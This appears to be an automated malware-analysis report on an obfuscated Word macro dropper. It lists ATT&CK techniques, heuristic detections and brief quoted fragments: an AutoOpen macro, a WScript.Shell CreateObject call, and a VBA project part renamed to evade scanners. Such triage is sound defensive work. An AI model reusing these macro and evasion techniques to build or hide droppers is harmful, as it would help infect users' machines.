MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that utilizes WScript.Shell and CreateObject to execute arbitrary code. This strongly suggests the document is designed to download and execute a secondary payload, as indicated by the 'Doc.Malware.Sdrop-7011816-0' ClamAV detection. The VBA code is heavily obfuscated, making precise analysis of the payload difficult, but the intent to execute external code is clear.

Heuristics 10

  • ClamAV: Doc.Malware.Sdrop-7011816-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sdrop-7011816-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: word/vbaProjectSignature.bin)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    W8rsDmcH = "Set R0KFKDAL = New T0MqioX End Sub "
Set WshScript = CreateObject("WScript.Shell")
   G4pnLfWmw42 = 931534755
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    W8rsDmcH = "Set R0KFKDAL = New T0MqioX End Sub "
Set WshScript = CreateObject("WScript.Shell")
   G4pnLfWmw42 = 931534755
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub autoopen()
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA project carries a recognised code-signing signature info VBA_SIGNED_TRUSTED
    The VBA project is Authenticode-signed and the signer/issuer chain matches a recognised code-signing publisher or CA. Informational only — the signature is NOT yet verified to cover the current project bytes, so it does not (yet) reduce the verdict.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
